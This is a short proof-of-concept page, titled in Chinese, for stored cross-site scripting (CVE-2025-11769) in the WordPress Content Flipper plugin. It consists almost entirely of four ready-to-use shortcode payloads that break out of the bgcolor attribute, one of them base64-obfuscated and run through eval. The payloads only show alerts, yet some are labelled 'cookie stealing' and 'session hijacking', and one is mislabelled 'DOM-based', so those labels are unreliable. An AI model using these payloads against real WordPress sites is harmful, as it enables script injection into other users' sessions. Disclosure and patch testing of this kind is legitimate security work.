CVE-2025-11769 WordPress Content Flipper插件存储型XSS漏洞

// WordPress Content Flipper Plugin - Stored XSS PoC // Affected Component: flipper_front shortcode bgcolor attribute // Version: <= 0.1 // PoC 1: Basic XSS injection via bgcolor attribute [flipper_front bgcolor='" onmouseover="alert(document.domain)" style="width:100px;height:100px;background:red;"'] // PoC 2: Cookie stealing payload [flipper_front bgcolor='xss' style='--hover:expression(alert(document.cookie))'] // PoC 3: Session hijacking payload [flipper_front bgcolor='" autofocus onfocus="eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))" style="width:100px;height:100px;background:green;"'] // PoC 4: DOM-based XSS [flipper_front bgcolor='--><script>alert(String.fromCharCode(88,83,83))</script>']